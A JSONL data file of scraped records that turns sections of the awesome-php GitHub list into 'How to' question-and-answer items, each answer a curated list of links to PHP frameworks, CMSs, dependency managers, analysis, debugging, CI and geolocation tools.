{"id": "gh_99a6f68307a2", "question": "How to: Table of Contents", "question_body": "About ziadoz/awesome-php", "answer": "- [Awesome PHP](#awesome-php)\n  - [Composer Repositories](#composer-repositories)\n  - [Dependency Management](#dependency-management)\n  - [Dependency Management Extras](#dependency-management-extras)\n  - [Frameworks](#frameworks)\n  - [Framework Extras](#framework-extras)\n  - [Content Management Systems](#content-management-systems-cms)\n  - [Components](#components)\n  - [Micro Frameworks](#micro-frameworks)\n  - [Micro Framework Extras](#micro-framework-extras)\n  - [Routers](#routers)\n  - [Templating](#templating)\n  - [Static Site Generators](#static-site-generators)\n  - [HTTP](#http)\n  - [Scraping](#scraping)\n  - [Middlewares](#middlewares)\n  - [URL](#url)\n  - [Email](#email)\n  - [Files](#Files)\n  - [Streams](#streams)\n  - [Dependency Injection](#dependency-injection)\n  - [Imagery](#imagery)\n  - [Testing](#testing)\n  - [Continuous Integration](#continuous-integration)\n  - [Documentation](#documentation)\n  - [Security](#security)\n  - [Passwords](#passwords)\n  - [Code Analysis](#code-analysis)\n  - [Code Quality](#code-quality)\n  - [Static Analysis](#static-analysis)\n  - [Architectural](#architectural)\n  - [Debugging and Profiling](#debugging-and-profiling)\n  - [Error Tracking and Monitoring Services](#error-tracking-and-monitoring-services)\n  - [Build Tools](#build-tools)\n  - [Task Runners](#task-runners)\n  - [Navigation](#navigation)\n  - [Asset Management](#asset-management)\n  - [Geolocation](#geolocation)\n  - [Date and Time](#date-and-time)\n  - [Event](#event)\n  - [Logging](#logging)\n  - [E-commerce](#e-commerce)\n  - [PDF](#pdf)\n  - [Office](#office)\n  - [Database](#database)\n  - [Migrations](#migrations)\n  - [NoSQL](#nosql)\n  - [Queue](#queue)\n  - [Search](#search)\n  - [Command Line](#command-line)\n  - [Authentication and Authorization](#authentication-and-authorization)\n  - [Markup and CSS](#markup-and-css)\n  - [JSON](#json)\n  - [Strings](#strings)\n  - [Numbers](#numbers)\n  - [Filtering, Sanitizing and Validation](#filtering-sanitizing-and-validation)\n  - [API](#api)\n  - [Caching and Locking](#caching-and-locking)\n  - [Data Structure and Storage](#data-structure-and-storage)\n  - [Notifications](#notifications)\n  - [Deployment](#deployment)\n  - [Internationalisation and Localisation](#internationalisation-and-localisation)\n  - [Serverless](#serverless)\n  - [Configuration](#configuration)\n  - [LLMs](#llms)\n  - [Third Party APIs](#third-party-apis)\n  - [Extensions](#extensions)\n  - [Miscellaneous](#miscellaneous)\n- [Software](#software)\n  - [PHP Installation](#php-installation)\n  - [Development Environment](#development-environment)\n  - [Virtual Machines](#virtual-machines)\n  - [Text Editors and IDEs](#text-editors-and-ides)\n  - [Web Applications](#web-applications)\n  - [Infrastructure](#infrastructure)\n- [Resources](#resources)\n  - [PHP Websites](#php-websites)\n  - [PHP Books](#php-books)\n  - [PHP Videos](#php-videos)\n  - [PHP Conferences](#php-conferences)\n  - [PHP Podcasts](#php-podcasts)\n  - [PHP Newsletters](#php-newsletters)\n  - [PHP Reading](#php-reading)\n  - [PHP Internals Reading](#php-internals-reading)", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.919950"}
{"id": "gh_6cc47a214d01", "question": "How to: Composer Repositories", "question_body": "About ziadoz/awesome-php", "answer": "*Composer Repositories.*\n\n* [Firegento](https://packages.firegento.com/) - Magento Module Composer Repository.\n* [Packagist](https://packagist.org/) - The PHP Package Repository.\n* [Packalyst](https://packalyst.com/) - The Laravel Package Repository\n* [Private Packagist](https://packagist.com/) - Composer package archive as a service for PHP.\n* [WordPress Packagist](https://wpackagist.org/) - Manage your plugins with Composer.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.919958"}
{"id": "gh_7c9557ba300b", "question": "How to: Dependency Management", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for dependency and package management.*\n\n* [Composer Installers](https://github.com/composer/installers) - A  multi-framework Composer library installer.\n* [Composer](https://getcomposer.org/) - A package and dependency manager.\n* [Pie](https://github.com/php/pie) - The official PHP installer for extensions.\n* [Phive](https://phar.io/) - A PHAR manager.\n* [Pickle](https://github.com/FriendsOfPHP/pickle) - A PHP extension installer.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.919965"}
{"id": "gh_7e6bf92b4cad", "question": "How to: Dependency Management Extras", "question_body": "About ziadoz/awesome-php", "answer": "*Extras related to dependency management.*\n\n* [Composed](https://github.com/joshdifabio/composed) - A library to parse your project's Composer environment at runtime.\n* [Composer Merge Plugin](https://github.com/wikimedia/composer-merge-plugin) - A composer plugin to merge several `composer.json` files.\n* [Composer Normalize](https://github.com/ergebnis/composer-normalize) - A plugin for normalizing `composer.json` files.\n* [Composer Patches](https://github.com/cweagans/composer-patches) - A plugin for Composer to apply patches.\n* [Composer Prefer Lowest Validator](https://github.com/dereuromark/composer-prefer-lowest) - A plugin to check if minimum dependencies can be installed and tested.\n* [Composer Require Checker](https://github.com/maglnet/ComposerRequireChecker) - CLI tool to analyze composer dependencies and verify that no unknown symbols are used in the sources of a package.\n* [Composer Unused](https://github.com/composer-unused/composer-unused) - A CLI Tool to scan for unused composer packages.\n* [Repman](https://repman.io) - A private PHP package repository manager and Packagist proxy.\n* [Satis](https://github.com/composer/satis) - A static Composer repository generator.\n* [Tooly](https://github.com/tommy-muehle/tooly-composer-script) - A library to manage PHAR files in a project using Composer.\n* [Toran Proxy](https://toranproxy.com) - A Composer proxy for speed and reliability. (:warning: Toran Proxy is being phased out.)", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.919974"}
{"id": "gh_ec60bdbe4611", "question": "How to: Frameworks", "question_body": "About ziadoz/awesome-php", "answer": "*Web development frameworks.*\n\n* [CakePHP](https://cakephp.org/) - A rapid application development framework.\n* [CodeIgniter](https://codeigniter.com/) - A powerful PHP framework with a very small footprint.\n* [Laminas](https://getlaminas.org/) - A framework comprised of individual components (previously Zend Framework).\n* [Laravel](https://laravel.com/) - A web application framework with expressive, elegant syntax.\n* [Nette](https://nette.org) - A web framework comprised of mature components.\n* [Phalcon](https://phalcon.io/en-us) - A framework implemented as a C extension.\n* [Spiral](https://spiral.dev/) - A high-performance PHP/Go framework.\n* [Symfony](https://symfony.com/) - A set of reusable components and a web framework.\n* [Yii2](https://github.com/yiisoft/yii2/) - A fast, secure, and efficient web framework.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.919982"}
{"id": "gh_fb2c94b3632a", "question": "How to: Framework Extras", "question_body": "About ziadoz/awesome-php", "answer": "*Extras related to web development frameworks.*\n\n* [CakePHP CRUD](https://github.com/friendsofcake/crud) - A Rapid Application Development (RAD) plugin for CakePHP.\n* [Filament PHP](https://filamentphp.com/) - A powerful open source UI framework for Laravel.\n* [LaravelS](https://github.com/hhxsv5/laravel-s) - An out-of-the-box adapter between Laravel/Lumen and Swoole.\n* [Livewire](https://livewire.laravel.com/) - Powerful, dynamic, front-end UIs without leaving PHP.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.919988"}
{"id": "gh_9c77b5541b0f", "question": "How to: Content Management Systems (CMS)", "question_body": "About ziadoz/awesome-php", "answer": "*Tools for managing digital content.*\n\n* [Backdrop](https://backdropcms.org) - A CMS targeting small-to-medium-sized business and non-profits (a fork of Drupal).\n* [Concrete5](https://www.concretecms.com/) - A CMS targeting users with a minimum of technical skills.\n* [CraftCMS](https://github.com/craftcms/cms) - A flexible, user-friendly CMS for creating custom digital experiences on the web and beyond.\n* [Drupal](https://new.drupal.org/home) - An enterprise level CMS.\n* [Grav](https://github.com/getgrav/grav) - A modern flat-file CMS.\n* [Joomla](https://www.joomla.org/) - Another leading CMS.\n* [Kirby](https://getkirby.com/) - A flat-file CMS that adapts to any project.\n* [Magento](https://github.com/magento/magento2) - The most popular e-commerce platform.\n* [Moodle](https://moodle.org/) - An open-source learning platform.\n* [OpenMage](https://github.com/OpenMage/magento-lts) - Fork of EoL Magento 1 e-commerce platform.\n* [Pico CMS](https://picocms.org/) - A stupidly simple, blazing fast, flat file CMS.\n* [Statamic](https://statamic.com/) - Build beautiful, easy-to-manage websites.\n* [Sulu](https://sulu.io/) - A user and developer friendly focused CMS and Platform based on the Symfony Framework.\n* [TYPO3](https://typo3.org) - An enterprise level CMS.\n* [WordPress](https://github.com/WordPress/WordPress) - A blogging platform and CMS.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.919997"}
{"id": "gh_a85724f67106", "question": "How to: Components", "question_body": "About ziadoz/awesome-php", "answer": "*Standalone components from web development frameworks and development groups.*\n\n* [Aura](https://auraphp.com/) - Independent components, fully decoupled from each other and from any framework.\n* [CakePHP Plugins](https://plugins.cakephp.org/) - A directory of CakePHP plugins.\n* [Laravel Components](https://github.com/illuminate) - The Laravel Framework components.\n* [League of Extraordinary Packages](https://thephpleague.com/) - A PHP package development group.\n* [Spatie Open Source](https://spatie.be/open-source) - A collection of open-source PHP and Laravel packages.\n* [Symfony Packages](https://symfony.com/packages) - Decoupled libraries for PHP applications.\n* [Laminas Components](https://docs.laminas.dev/components/) - The components that make the Laminas Framework.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920004"}
{"id": "gh_caa3691d1931", "question": "How to: Micro Frameworks", "question_body": "About ziadoz/awesome-php", "answer": "*Micro frameworks and routers.*\n\n* [Laravel Zero](https://laravel-zero.com) - A micro-framework for console applications.\n* [Mezzio](https://getexpressive.org/) - A micro-framework by Laminas.\n* [Minicli](https://github.com/minicli/minicli) - Minimalist, dependency-free framework for building CLI-centric PHP applications.\n* [Silly](https://github.com/mnapoli/silly) - A micro-framework for CLI applications.\n* [Slim](https://www.slimframework.com/) - Another simple micro framework.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920010"}
{"id": "gh_25ac833a6902", "question": "How to: Micro Framework Extras", "question_body": "About ziadoz/awesome-php", "answer": "*Extras related to micro frameworks and routers.*\n\n* [Slim Skeleton](https://github.com/slimphp/Slim-Skeleton) - A skeleton for Slim.\n* [Slim Twig View](https://github.com/slimphp/Slim-Views) - Integrate Twig into Slim.\n* [Slim PHP View](https://github.com/slimphp/PHP-View) - A simple PHP renderer for Slim.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920015"}
{"id": "gh_0beda1136109", "question": "How to: Templating", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries and tools for templating and lexing.*\n\n* [Latte](https://latte.nette.org/) - The safest and truly intuitive templates for PHP.\n* [MtHaml](https://github.com/arnaud-lb/MtHaml) - A PHP implementation of the HAML template language.\n* [Mustache](https://github.com/bobthecow/mustache.php) - A PHP implementation of the Mustache template language.\n* [PHPTAL](https://phptal.org/) - A PHP implementation of the [TAL](https://en.wikipedia.org/wiki/Template_Attribute_Language) templating language.\n* [Plates](http://platesphp.com/) - A native PHP templating library.\n* [Smarty](https://www.smarty.net/) - A template engine to complement PHP.\n* [Twig](https://twig.symfony.com/) - A comprehensive templating language.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920022"}
{"id": "gh_a2b8c8943081", "question": "How to: Static Site Generators", "question_body": "About ziadoz/awesome-php", "answer": "*Tools for pre-processing content to generate web pages.*\n\n* [Couscous](http://couscous.io) - Couscous turns Markdown documentation into beautiful websites. It's GitHub Pages on steroids.\n* [Jigsaw](https://jigsaw.tighten.com/) - Simple static sites with Laravel's Blade.\n* [Sculpin](https://sculpin.io) - A tool that converts Markdown and Twig into static HTML.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920028"}
{"id": "gh_721060db9da3", "question": "How to: Middlewares", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for building application using middlewares.*\n\n* [PSR-15 Middlewares](https://github.com/middlewares/psr15-middlewares) - Inspiring collection of handy middlewares.\n* [Relay](https://github.com/relayphp/Relay.Relay) - A PHP 5.5 PSR-7 middleware dispatcher.\n* [Stack](https://github.com/stackphp) - A library of stackable middleware for Symfony.\n* [Laminas Stratigility](https://github.com/laminas/laminas-stratigility) - Middleware for PHP built on top of PSR-7.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920036"}
{"id": "gh_edd80a17cd96", "question": "How to: Dependency Injection", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries that implement the dependency injection design pattern.*\n\n* [Aura.Di](https://github.com/auraphp/Aura.Di) - A serializable dependency injection container with constructor and setter injection, interface and trait awareness, configuration inheritance, and much more.\n* [Acclimate](https://github.com/AcclimateContainer/acclimate-container) - A common interface to dependency injection containers and service locators.\n* [Auryn](https://github.com/rdlowrey/Auryn) - A recursive dependency injector.\n* [Container](https://github.com/thephpleague/container) - Another flexible dependency injection container.\n* [Disco](https://github.com/bitExpert/disco) - A PSR-11 compatible, annotation-based dependency injection container.\n* [PHP-DI](https://php-di.org/) - A dependency injection container that supports autowiring.\n* [Pimple](https://github.com/silexphp/Pimple) - A tiny dependency injection container.\n* [Symfony DI](https://github.com/symfony/dependency-injection) - A dependency injection container component.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920046"}
{"id": "gh_f641140454a7", "question": "How to: Continuous Integration", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries and applications for continuous integration.*\n\n* [CircleCI](https://circleci.com) - A continuous integration platform.\n* [GitlabCi](https://about.gitlab.com/solutions/continuous-integration/) - Let GitLab CI test, build, deploy your code. TravisCi like.\n* [Jenkins](https://www.jenkins.io/) - A continuous integration platform with [PHP support](https://www.jenkins.io/solutions/php/).\n* [JoliCi](https://github.com/jolicode/JoliCi) - A continuous integration client written in PHP and powered by Docker.\n* [PHPCI](https://github.com/dancryer/phpci) - An open-source continuous integration platform for PHP.\n* [SemaphoreCI](https://semaphore.io/) - A continuous integration platform for open-source and private projects.\n* [Travis CI](https://www.travis-ci.com) - A continuous integration platform.\n* [Setup PHP](https://github.com/shivammathur/setup-php) - A GitHub Action for PHP.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920056"}
{"id": "gh_ad8ac355b20a", "question": "How to: Documentation", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for generating project documentation.*\n\n* [APIGen](https://github.com/apigen/apigen) - Another API documentation generator.\n* [daux.io](https://github.com/dauxio/daux.io) - A documentation generator that uses Markdown files.\n* [phpDocumentor](https://phpdoc.org/) - A documentation generator.\n* [phpDox](https://phpdox.net/) - A documentation generator for PHP projects (that is not limited to API documentation).\n* [zircote/swagger-php](https://github.com/zircote/swagger-php) - Generate OpenAPI documentation for your RESTful API.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920062"}
{"id": "gh_38bb17a37187", "question": "How to: Code Analysis", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries and tools for analysing, parsing and manipulating codebases.*\n\n* [Better Reflection](https://github.com/Roave/BetterReflection) - AST-based reflection library that allows analysis and manipulation of code\n* [Code Climate](https://codeclimate.com) - An automated code review.\n* [Editorconfig-Checker](https://github.com/editorconfig-checker/editorconfig-checker.php) - A command line utility which verifies that your files implement your `.editorconfig` rules.\n* [GrumPHP](https://github.com/phpro/grumphp) - A PHP code-quality tool.\n* [PHP AST Viewer](https://php-ast-viewer.com/) - A tool for viewing the Abstract Syntax Tree of PHP code.\n* [PHP Magic Number Detector](https://github.com/povils/phpmnd) - A library that detects magic numbers in code.\n* [PHP Parser](https://github.com/nikic/PHP-Parser) - A PHP parser written in PHP.\n* [PHP Semantic Versioning Checker](https://github.com/tomzx/php-semver-checker) - A command line utility that compares two source sets and determines the appropriate semantic versioning to apply.\n* [Phpactor](https://github.com/phpactor/phpactor) - PHP completion, refactoring and introspection tool.\n* [PHPLOC](https://github.com/sebastianbergmann/phploc) - A tool for quickly measuring the size of a PHP project.\n* [PHPQA](https://github.com/EdgedesignCZ/phpqa) - A tool for running QA tools (phploc, phpcpd, phpcs, pdepend, phpmd, phpmetrics).\n* [Rector](https://github.com/rectorphp/rector) - A tool to upgrade and refactor code.\n* [Scrutinizer](https://scrutinizer-ci.com/) - A web tool to [scrutinise PHP code](https://github.com/scrutinizer-ci/php-analyzer).\n* [UBench](https://github.com/devster/ubench) - A simple micro-benchmark library.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920073"}
{"id": "gh_d6504276fcad", "question": "How to: Code Quality", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for managing code quality, formatting and linting.*\n\n* [CaptainHook](https://github.com/captainhook-git/captainhook) - An easy-to-use and flexible Git hook library.\n* [PHP CodeSniffer](https://github.com/PHPCSStandards/PHP_CodeSniffer) - A library that detects and can auto-fix PHP, CSS and JS coding standard violations.\n* [PHP CS Fixer](https://github.com/PHP-CS-Fixer/PHP-CS-Fixer) - A coding standards fixer library.\n* [PHP CS Fixer Configurator](https://mlocati.github.io/php-cs-fixer-configurator/) - A web application to help configure PHP CS Fixer rule sets.\n* [PHP Mess Detector](https://github.com/phpmd/phpmd) - A library that scans code for bugs, sub-optimal code, unused parameters and more.\n* [PHPCheckstyle](https://github.com/PHPCheckstyle/phpcheckstyle) - A tool to help adhere to certain coding conventions.\n* [PHPCPD](https://github.com/sebastianbergmann/phpcpd) - A library that detects copied and pasted code.\n* [Laravel Pint](https://github.com/laravel/pint) - A coding standards fixer library for Laravel.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920080"}
{"id": "gh_b43d83f6ebfe", "question": "How to: Static Analysis", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for performing static analysis of PHP code.*\n\n* [Exakat](https://github.com/exakat/exakat) - A static analysis engine for PHP.\n* [Deptrac](https://github.com/qossmic/deptrac) - A static code analysis tool that helps to enforce rules for dependencies between software layers.\n* [Mondrian](https://github.com/Trismegiste/Mondrian) - A code analysis tool using Graph Theory.\n* [phan](https://github.com/phan/phan) - A static analyzer based on PHP 7+ and the php-ast extension.\n* [PHP Architecture Tester](https://github.com/carlosas/phpat) - Easy-to-use architecture testing tool for PHP.\n* [PHPCompatibility](https://github.com/PHPCompatibility/PHPCompatibility) - A PHP compatibility checker for PHP CodeSniffer.\n* [PhpDependencyAnalysis](https://github.com/mamuz/PhpDependencyAnalysis) - A tool to create customizable dependency graphs.\n* [PHPDoc Parser](https://github.com/phpstan/phpdoc-parser) - Next-gen phpDoc parser with support for intersection types and generics\n* [PHP Metrics](https://github.com/phpmetrics/PhpMetrics) - A static metric library.\n* [PHP Migration](https://github.com/monque/PHP-Migration) - A static analyzer for PHP version migration.\n* [PHPStan](https://github.com/phpstan/phpstan) - A PHP Static Analysis Tool.\n* [Psalm](https://github.com/vimeo/psalm) - A static analysis tool for finding errors in PHP applications.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920088"}
{"id": "gh_041a33284669", "question": "How to: Architectural", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries related to design patterns, programming approaches and ways to organize code.*\n\n* [Design Patterns PHP](https://github.com/DesignPatternsPHP/DesignPatternsPHP ) - A repository of software patterns implemented in PHP.\n* [Finite](https://github.com/yohang/Finite) - A simple PHP finite state machine.\n* [Functional PHP](https://github.com/lstrojny/functional-php) - A functional programming library.\n* [Iter](https://github.com/nikic/iter) - A library that provides iteration primitives using generators.\n* [IterTools PHP](https://github.com/markrogoyski/itertools-php) - A library that provides functionality for working with iterable entities (similar to itertools library in Python).\n* [Pipeline](https://github.com/thephpleague/pipeline) - A pipeline pattern implementation.\n* [Porter](https://github.com/ScriptFUSION/Porter) - Data import abstraction library for consuming Web APIs and other data sources.\n* [RulerZ](https://github.com/K-Phoen/rulerz) - A powerful rule engine and implementation of the Specification pattern.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920095"}
{"id": "gh_e283ad2a1457", "question": "How to: Debugging and Profiling", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries and tools for debugging errors and profiling code.*\n\n* [APM](https://pecl.php.net/package/APM) - Monitoring extension collecting errors and statistics into SQLite/MySQL/StatsD.\n* [Barbushin PHP Console](https://github.com/barbushin/php-console) - Another web debugging console using Google Chrome.\n* [Kint](https://github.com/kint-php/kint) - A debugging and profiling tool.\n* [Metrics](https://github.com/beberlei/metrics) - A simple metrics API library.\n* [PCOV](https://github.com/krakjoe/pcov) - A self-contained code coverage compatible driver.\n* [PHP Console](https://github.com/Seldaek/php-console) - A web debugging console.\n* [PHP Debug Bar](http://phpdebugbar.com/) - A debugging toolbar.\n* [PHPBench](https://github.com/phpbench/phpbench) - A benchmarking Framework.\n* [PHPSpy](https://github.com/adsr/phpspy) - A low-overhead sampling profiler.\n* [Symfony VarDumper](https://github.com/symfony/var-dumper) - A variable dumper component.\n* [Tracy](https://github.com/nette/tracy) - A simple error detection, logging and time measuring library.\n* [Whoops](https://github.com/filp/whoops) - A pretty error-handling library.\n* [xDebug](https://github.com/xdebug/xdebug) - A debug and profile tool for PHP.\n* [XHProf](https://github.com/phacility/xhprof) - A profiling tool originally developed by Facebook.\n* [Z-Ray](https://www.zend.com/products/z-ray) - A debug and profile tool for Zend Server.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920103"}
{"id": "gh_75bb02f4eb58", "question": "How to: Error Tracking and Monitoring Services", "question_body": "About ziadoz/awesome-php", "answer": "*Self-hosted or cloud-based application performance monitoring & error tracking tools*\n\n* [Blackfire](https://www.blackfire.io) - A low-overhead code profiler.\n* [BugSnag](https://www.bugsnag.com/) - Error and Real User Monitoring.\n* [Honeybadger](https://www.honeybadger.io/) - Error Tracking & Application Monitoring for Developers.\n* [Rollbar](https://rollbar.com/) - Error Logging & Tracking Service for Software Teams.\n* [Sentry](https://sentry.io/welcome/) - Application Performance Monitoring & Error Tracking Software.\n* [Tideways](https://tideways.com/) - Monitoring and profiling tool.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920110"}
{"id": "gh_2626482ca4d1", "question": "How to: Build Tools", "question_body": "About ziadoz/awesome-php", "answer": "*Project build and automation tools.*\n\n* [Box](https://github.com/box-project/box) - A utility to build PHAR files.\n* [Construct](https://github.com/jonathantorres/construct) - A PHP project/micro-package generator.\n* [Phing](https://www.phing.info/) - A PHP project build system inspired by Apache Ant.\n* [RMT](https://github.com/liip/RMT) - A library for versioning and releasing software.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920116"}
{"id": "gh_b4f2a998b13a", "question": "How to: Task Runners", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for automating and running tasks.*\n\n* [Bldr](https://bldr.io/) - A PHP Task runner built on Symfony components.\n* [Jobby](https://github.com/jobbyphp/jobby) - A PHP cron job manager without modifying crontab.\n* [Robo](https://github.com/consolidation/Robo) - A PHP Task runner with object-orientated configurations.\n* [Task](https://taskphp.github.io/) - A pure PHP task runner inspired by Grunt and Gulp.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920122"}
{"id": "gh_641b874d93cf", "question": "How to: Navigation", "question_body": "About ziadoz/awesome-php", "answer": "*Tools for building navigation structures.*\n\n* [KnpMenu](https://github.com/KnpLabs/KnpMenu) - A menu library.\n* [Menu](https://github.com/spatie/menu) - A flexible menu library with a fluent interface.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920127"}
{"id": "gh_81120cbbba65", "question": "How to: Asset Management", "question_body": "About ziadoz/awesome-php", "answer": "*Tools for managing, compressing and minifying website assets.*\n\n* [JShrink](https://github.com/tedious/JShrink) - A JavaScript minifier library.\n* [Laravel Mix](https://github.com/laravel-mix/laravel-mix ) - An elegant wrapper around Webpack for the 80% use case.\n* [Symfony Asset](https://github.com/symfony/asset) - Manages URL generation and versioning of web assets.\n* [Symfony Encore](https://github.com/symfony/webpack-encore) - A simple but powerful API for processing and compiling assets built around Webpack.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920133"}
{"id": "gh_4e3de556860e", "question": "How to: Geolocation", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for geocoding addresses and working with latitudes and longitudes.*\n\n* [Country List](https://github.com/umpirsky/country-list) - A list of all countries with names and ISO 3166-1 codes.\n* [GeoCoder](https://geocoder-php.org/) - A geocoding library.\n* [GeoJSON](https://github.com/jmikola/geojson) - A GeoJSON implementation.\n* [GeoTools](https://github.com/thephpleague/geotools) - A library of geo-related tools.\n* [PHPGeo](https://github.com/mjaschen/phpgeo) - A simple geo library.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920140"}
